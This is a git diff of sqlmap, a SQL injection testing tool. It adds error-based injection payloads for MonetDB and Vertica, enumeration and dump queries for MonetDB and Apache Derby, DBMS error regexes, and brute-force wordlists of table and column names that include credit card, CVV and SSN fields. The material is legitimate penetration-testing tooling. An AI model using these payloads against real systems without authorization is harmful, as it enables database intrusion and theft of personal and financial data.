Update regarding #4099

Add link of persian (#4099 )
* Add the persian translations * Update README-fa-FA.md * Update README-fa-FA.md * Update README-fa-FA.md * Update README-fa-FA.md * add to persian translations HI please add to persian translations regard: elias rohani * Add link of persian * Revert "Add link of persian" * Revert "Add link of persian"
2025-12-06 04:31:30 +00:00 · 2020-02-01 14:36:27 +01:00 · 2020-02-01 14:28:16 +01:00 · 2020-01-31 22:37:39 +01:00 · 2020-01-31 21:51:02 +01:00 · 2020-01-31 21:24:20 +01:00
359 changed files with 4082 additions and 4713 deletions
--- a/2
+++ b/2
@@ -1,7 +1,7 @@
 COPYING -- Describes the terms under which sqlmap is distributed. A copy
 of the GNU General Public License (GPL) is appended to this file.

-sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.

 This program is free software; you may redistribute and/or modify it under
 the terms of the GNU General Public License as published by the Free
--- a/README.md
+++ b/README.md
@@ -64,6 +64,7 @@ Translations
 * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
 * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
 * [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
+* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-FA.md)
 * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
 * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
 * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
--- a/data/txt/common-columns.txt
+++ b/data/txt/common-columns.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 id
@@ -474,6 +474,7 @@ module_addr
 flag

 # spanish
+
 usuario
 nombre
 contrasena
@@ -486,6 +487,7 @@ tono
 cuna

 # german
+
 benutzername
 benutzer
 passwort
@@ -499,6 +501,7 @@ stichwort
 schlusselwort

 # french
+
 utilisateur
 usager
 consommateur
@@ -510,6 +513,7 @@ touche
 clef

 # italian
+
 utente
 nome
 utilizzatore
@@ -521,17 +525,33 @@ chiavetta
 cifrario

 # portuguese
+
 usufrutuario
 chave
 cavilha

 # slavic
+
 korisnik
 sifra
 lozinka
 kljuc

 # turkish
+
+isim
+ad
+adi
+soyisim
+soyad
+soyadi
+kimlik
+kimlikno
+tckimlikno
+tckimlik
+yonetici
+sil
+silinmis
 numara
 sira
 lokasyon
@@ -547,7 +567,9 @@ ev_adres
 is_adresi
 ev_adresi
 isadresi
+isadres
 evadresi
+evadres
 il
 ilce
 eposta
@@ -605,6 +627,7 @@ kontak
 kontaklar

 # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
+
 user
 pass
 cc_number
@@ -828,6 +851,7 @@ xar_name
 xar_pass

 # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
+
 account
 accnts
 accnt
@@ -897,6 +921,7 @@ user_pwd
 user_passwd

 # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
+
 fld_id
 fld_username
 fld_password
@@ -1049,6 +1074,7 @@ yhmm
 yonghu

 # site:br
+
 content_id
 codigo
 geometry
@@ -1305,6 +1331,7 @@ newssummaryauthor
 and_xevento

 # site:de
+
 rolle_nr
 standort_nr
 ja
@@ -1467,6 +1494,7 @@ summary_id
 gameid

 # site:es
+
 catid
 dni
 prune_id
@@ -1556,6 +1584,7 @@ time_stamp
 bannerid

 # site:fr
+
 numero
 id_auteur
 titre
@@ -1607,6 +1636,7 @@ n_dir
 age

 # site:ru
+
 dt_id
 subdivision_id
 sub_class_id
@@ -1812,6 +1842,7 @@ language_id
 val

 # site:jp
+
 dealer_id
 modify_date
 regist_date
@@ -1943,6 +1974,7 @@ c_commu_topic_id
 c_diary_comment_log_id

 # site:it
+
 idcomune
 idruolo
 idtrattamento
@@ -2446,6 +2478,7 @@ client_img
 does_repeat

 # site:cn
+
 typeid
 cronid
 advid
@@ -2621,6 +2654,7 @@ disablepostctrl
 fieldname

 # site:id
+
 ajar
 akses
 aktif
@@ -2672,9 +2706,23 @@ urut
 waktu

 # WebGoat
+
 cookie
 login_count

+# https://sqlwiki.netspi.com/attackQueries/dataTargeting/
+
+credit
+card
+pin
+cvv
+pan
+password
+social
+ssn
+account
+confidential
+
 # Misc

 u_pass
--- a/data/txt/common-files.txt
+++ b/data/txt/common-files.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 # Reference: https://gist.github.com/sckalath/78ad449346171d29241a
--- a/data/txt/common-outputs.txt
+++ b/data/txt/common-outputs.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 [Banners]
--- a/data/txt/common-tables.txt
+++ b/data/txt/common-tables.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 users
@@ -1618,6 +1618,7 @@ Contributor
 flag

 # Various Joomla tables
+
 jos_vm_product_download
 jos_vm_coupons
 jos_vm_product_reviews
@@ -1711,6 +1712,7 @@ publicusers
 cmsusers

 # List provided by Anastasios Monachos (anastasiosm@gmail.com)
+
 blacklist
 cost
 moves
@@ -1762,6 +1764,7 @@ TBLCORPUSERS
 TBLCORPORATEUSERS

 # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
+
 tbladmins
 sort
 _wfspro_admin
@@ -2048,6 +2051,7 @@ Login
 Logins

 # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
+
 account
 accnts
 accnt
@@ -2117,6 +2121,7 @@ user_pwd
 user_passwd

 # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
+
 wsop
 Admin
 Config
@@ -2437,9 +2442,11 @@ Affichage1name
 sb_host_adminAffichage1name

 # site:jp
+
 TypesTab

 # site:it
+
 utenti
 categorie
 attivita
@@ -2581,6 +2588,7 @@ oil_stats_agents
 SGA_XPLAN_TPL_DBA_INDEXES

 # site:fr
+
 Avion
 departement
 Compagnie
@@ -2751,6 +2759,7 @@ spip_ortho_dico
 spip_caches

 # site:ru
+
 guestbook
 binn_forum_settings
 binn_forms_templ
@@ -2848,6 +2857,7 @@ binn_path_temps
 order_item

 # site:de
+
 tt_content
 kunde
 medien
@@ -3010,6 +3020,7 @@ wp_categories
 chessmessages

 # site:br
+
 endereco
 pessoa
 usuarios
@@ -3172,6 +3183,7 @@ LT_CUSTOM2
 LT_CUSTOM3

 # site:es
+
 jos_respuestas
 DEPARTAMENTO
 EMPLEADO
@@ -3210,6 +3222,7 @@ grupo
 facturas

 # site:cn
+
 url
 cdb_adminactions
 BlockInfo
@@ -3355,6 +3368,7 @@ mymps_mail_sendlist
 mymps_navurl

 # site:tr
+
 kullanici
 kullanicilar
 yonetici
@@ -3401,6 +3415,7 @@ kontak
 kontaklar

 # List provided by Pedrito Perez (0ark1ang3l@gmail.com)
+
 adminstbl
 admintbl
 affiliateUsers
@@ -3415,4 +3430,69 @@ userstbl
 usertbl

 # WebGoat
+
 user_data
+
+# https://laurent22.github.io/so-injections/
+
+accounts
+admin
+baza_site
+benutzer
+category
+comments
+company
+credentials
+Customer
+customers
+data
+details
+dhruv_users
+dt_tb
+employees
+events
+forsale
+friends
+giorni
+images
+info
+items
+kontabankowe
+login
+logs
+markers
+members
+messages
+orders
+order_table
+photos
+player
+players
+points
+register
+reports
+rooms
+shells
+signup
+songs
+student
+students
+table
+table2
+tbl_images
+tblproduct
+testv2
+tickets
+topicinfo
+trabajo
+user
+user_auth
+userinfo
+user_info
+userregister
+users
+usuarios
+utenti
+wm_products
+wp_payout_history
+zamowienia
--- a/data/txt/keywords.txt
+++ b/data/txt/keywords.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
--- a/data/txt/user-agents.txt
+++ b/data/txt/user-agents.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 # Opera
--- a/data/xml/banner/generic.xml
+++ b/data/xml/banner/generic.xml
@@ -83,6 +83,10 @@
        <info type="Linux"/>
    </regexp>

+    <regexp value="\bArch\b">
+        <info type="Linux" distrib="Arch"/>
+    </regexp>
+
    <regexp value="CentOS">
        <info type="Linux" distrib="CentOS"/>
    </regexp>
@@ -115,10 +119,22 @@
        <info type="Linux" distrib="Mandrake"/>
    </regexp>

+    <regexp value="Manjaro">
+        <info type="Linux" distrib="Manjaro"/>
+    </regexp>
+
    <regexp value="Mandriva">
        <info type="Linux" distrib="Mandriva"/>
    </regexp>

+    <regexp value="\bMint\b">
+        <info type="Linux" distrib="Mint"/>
+    </regexp>
+
+    <regexp value="\bPuppy\b">
+        <info type="Linux" distrib="Puppy"/>
+    </regexp>
+
    <regexp value="Red[\-\_\ ]?Hat">
        <info type="Linux" distrib="Red Hat"/>
    </regexp>
--- a/data/xml/errors.xml
+++ b/data/xml/errors.xml
@@ -7,7 +7,7 @@
        <error regexp="Warning.*?\Wmysqli?_"/>
        <error regexp="MySQLSyntaxErrorException"/>
        <error regexp="valid MySQL result"/>
-        <error regexp="check the manual that (corresponds to|fits) your (MySQL|MariaDB) server version"/>
+        <error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
        <error regexp="Unknown column '[^ ]+' in 'field list'"/>
        <error regexp="MySqlClient\."/>
        <error regexp="com\.mysql\.jdbc"/>
@@ -15,6 +15,10 @@
        <error regexp="Pdo[./_\\]Mysql"/>
        <error regexp="MySqlException"/>
        <error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
+        <error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
+        <error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
+        <error regexp="is not supported by MemSQL" fork="MemSQL"/>
+        <error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
    </dbms>

    <!-- PostgreSQL -->
@@ -169,4 +173,52 @@
    <dbms value="H2">
        <error regexp="org\.h2\.jdbc"/>
    </dbms>
+
+    <!-- MonetDB -->
+    <dbms value="MonetDB">
+        <error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
+        <error regexp="\[MonetDB\]\[ODBC Driver"/>
+        <error regexp="nl\.cwi\.monetdb\.jdbc"/>
+    </dbms>
+
+    <!-- Apache Derby -->
+    <dbms value="Apache Derby">
+        <error regexp="Syntax error: Encountered"/>
+        <error regexp="org\.apache\.derby"/>
+        <error regexp="ERROR 42X01"/>
+    </dbms>
+
+    <!-- Vertica -->
+    <dbms value="Vertica">
+        <error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
+        <error regexp="/vertica/Parser/scan"/>
+        <error regexp="com\.vertica\.jdbc"/>
+        <error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
+        <error regexp="com\.vertica\.dsi\.dataengine"/>
+    </dbms>
+
+    <!-- Mckoi -->
+    <dbms value="Mckoi">
+        <error regexp="com\.mckoi\.JDBCDriver"/>
+        <error regexp="com\.mckoi\.database\.jdbc"/>
+    </dbms>
+
+    <!-- Presto -->
+    <dbms value="Presto">
+        <error regexp="com\.facebook\.presto\.jdbc"/>
+        <error regexp="io\.prestosql\.jdbc"/>
+        <error regexp="com\.simba\.presto\.jdbc"/>
+        <error regexp="UNION query has different number of fields: \d+, \d+"/>
+    </dbms>
+
+    <!-- Altibase -->
+    <dbms value="Altibase">
+        <error regexp="Altibase\.jdbc\.driver"/>
+    </dbms>
+
+    <!-- MimerSQL -->
+    <dbms value="MimerSQL">
+        <error regexp="com\.mimer\.jdbc"/>
+        <error regexp="Syntax error,[^\n]+assumed to mean"/>
+    </dbms>
 </root>
--- a/data/xml/livetests.xml
+++ b/data/xml/livetests.xml
--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@@ -704,6 +704,82 @@
            <dbms>Firebird</dbms>
        </details>
    </test>
+
+    <test>
+        <title>MonetDB AND error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MonetDB</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>MonetDB OR error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>3</risk>
+        <clause>1,9</clause>
+        <where>2</where>
+        <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MonetDB</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Vertica AND error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,8,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
+        <request>
+            <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Vertica</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Vertica OR error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>3</risk>
+        <clause>1,8,9</clause>
+        <where>2</where>
+        <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
+        <request>
+            <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Vertica</dbms>
+        </details>
+    </test>
    <!--
         TODO: if possible, add payload for SQLite, Microsoft Access,
         and SAP MaxDB - no known techniques at this time
--- a/data/xml/payloads/inline_query.xml
+++ b/data/xml/payloads/inline_query.xml
@@ -74,7 +74,8 @@
        <where>3</where>
        <vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
        <request>
-            <payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
+            <!-- NOTE: Vertica works too without the TO_NUMBER() -->
+            <payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -124,7 +124,7 @@
            <blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;'"/>
        </statements>
        <dbs>
-            <inband query="SELECT schemaname FROM pg_tables"/>
+            <inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
            <blind query="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
        </dbs>
        <tables>
@@ -531,7 +531,7 @@
        </roles>
        <statements/>
        <dump_table>
-            <inband query="SELECT %s FROM %%s"/>
+            <inband query="SELECT %s FROM %s"/>
            <blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
        </dump_table>
   </dbms>
@@ -876,4 +876,462 @@
        <search_table/>
        <search_column/>
    </dbms>
+
+    <!-- MonetDB -->
+    <dbms value="MonetDB">
+        <cast query="CAST(%s AS VARCHAR(4000))"/>
+        <length query="LENGTH(%s)"/>
+        <isnull query="COALESCE(%s,' ')"/>
+        <delimiter query="||"/>
+        <limit query="LIMIT %d OFFSET %d"/>
+        <limitregexp query="\s+LIMIT\s+([\d]+)\s*OFFSET\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="1"/>
+        <limitgroupstop query="2"/>
+        <limitstring query=" LIMIT "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--" query2="#"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
+        <concatenate query="CONCAT(%s,%s)"/>
+        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
+        <inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
+        <banner query="SELECT value FROM environment WHERE name='monet_version'"/>
+        <current_user query="CURRENT_USER"/>
+        <current_db query="SELECT CURRENT_SCHEMA" query2="SELECT value FROM environment WHERE name='gdk_dbname'"/>
+        <hostname/>
+        <table_comment/>
+        <column_comment/>
+        <is_dba query="(SELECT grantor FROM auths WHERE name=CURRENT_USER)=0"/>
+        <check_udf/>
+        <users>
+            <inband query="SELECT name FROM sys.users"/>
+            <!-- NOTE: LIMIT %d OFFSET %d not supported inside subqueries -->
+            <blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM sys.users)x WHERE x.y-1=%d" count="SELECT COUNT(name) FROM sys.users"/>
+        </users>
+        <passwords/>
+        <privileges/>
+        <roles/>
+        <statements/>
+        <dbs>
+            <inband query="SELECT name FROM schemas"/>
+            <blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM sys.schemas)x WHERE x.y-1=%d" count="SELECT COUNT(DISTINCT(name)) FROM schemas"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false"/>
+            <blind query="SELECT name FROM (SELECT tables.name,row_number() over() AS y FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s')x WHERE x.y-1=%d" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'"/>
+        </tables>
+        <columns>
+            <inband query="SELECT name,type FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s' AND tables.id=table_id)" condition="name"/>
+            <blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s'))x WHERE x.y-1=%d" query2="SELECT type FROM columns WHERE name='%s' AND table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s')" count="SELECT COUNT(name) FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s')" condition="name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s.%s"/>
+            <blind query="SELECT z FROM (SELECT %s AS z,row_number() over() AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT schemas.name FROM schemas WHERE %s" condition="schemas.name"/>
+            <blind query="SELECT DISTINCT(schemas.name) FROM schemas WHERE %s" count="SELECT COUNT(DISTINCT(schemas.name)) FROM schemas WHERE %s" condition="schemas.name"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" condition="tables.name" condition2="schemas.name"/>
+            <blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
+            <blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE schemas.name='%s'" count="SELECT COUNT(DISTINCT(schemas.name)) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE schemas.name='%s'" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
+        </search_column>
+    </dbms>
+
+    <!-- Apache Derby -->
+    <dbms value="Apache Derby">
+        <!-- NOTE: CHAR(%s) causes 'A truncation error was encountered trying to shrink CHAR' -->
+        <cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
+        <length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
+        <isnull query="COALESCE(%s,' ')"/>
+        <delimiter query="||"/>
+        <limit query="{LIMIT %d OFFSET %d}"/>
+        <limitregexp query="{LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)}"/>
+        <limitgroupstart query="2"/>
+        <limitgroupstop query="1"/>
+        <limitstring/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <!-- NOTE: comment without alphanumeric char in continuation is invalid -->
+        <comment query="--x"/>
+        <substring query="SUBSTR((%s),%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <!-- NOTE: Apache Derby does not support implicit conversion from int to string -->
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSIBM.SYSDUMMY1"/>
+        <inference query="SUBSTR((%s),%d,1)>'%c'"/>
+        <banner/>
+        <current_user query="SELECT USER FROM SYSIBM.SYSDUMMY1"/>
+        <current_db query="SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1"/>
+        <hostname/>
+        <table_comment/>
+        <column_comment/>
+        <!-- NOTE: ERROR 4251D: Only the database owner can perform this operation. -->
+        <is_dba query="(SELECT COUNT(*) FROM SYS.SYSUSERS)>=0"/>
+        <dbs>
+            <inband query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS"/>
+            <blind query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS {LIMIT 1 OFFSET %d}" count="SELECT COUNT(SCHEMANAME) FROM SYS.SYSSCHEMAS"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT SCHEMANAME,TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID" condition="SCHEMANAME"/>
+            <blind query="SELECT TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s' {LIMIT 1 OFFSET %d}" count="SELECT COUNT(TABLENAME) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'"/>
+        </tables>
+        <columns>
+            <!-- NOTE: COLUMNDATATYPE without CAST() causes problems during enumeration -->
+            <inband query="SELECT COLUMNNAME,RTRIM(CAST(COLUMNDATATYPE AS CHAR(254))) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND SCHEMANAME='%s'" condition="COLUMNNAME"/>
+            <blind query="SELECT COLUMNNAME FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND SCHEMANAME='%s'" query2="SELECT COLUMNDATATYPE FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND COLUMNNAME='%s' AND SCHEMANAME='%s'" count="SELECT COUNT(COLUMNNAME) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND SCHEMANAME='%s'" condition="COLUMNNAME"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s"/>
+            <blind query="SELECT %s FROM %s {LIMIT 1 OFFSET %d}" count="SELECT COUNT(*) FROM %s"/>
+        </dump_table>
+        <users>
+            <inband query="SELECT USERNAME FROM SYS.SYSUSERS"/>
+            <blind query="SELECT USERNAME FROM SYS.SYSUSERS {LIMIT 1 OFFSET %d}" count="SELECT COUNT(USERNAME) FROM SYS.SYSUSERS"/>
+        </users>
+        <!-- NOTE: No one can view the 'SYSUSERS'.'PASSWORD' column -->
+        <passwords/>
+        <privileges/>
+        <roles/>
+        <statements/>
+        <search_db>
+            <inband query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS WHERE %s" condition="SCHEMANAME"/>
+            <blind query="SELECT DISTINCT(SCHEMANAME) FROM SYS.SYSSCHEMAS WHERE %s" count="SELECT COUNT(DISTINCT(SCHEMANAME)) FROM SYS.SYSSCHEMAS WHERE %s" condition="SCHEMANAME"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT SCHEMANAME,TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" condition="TABLENAME" condition2="SCHEMANAME"/>
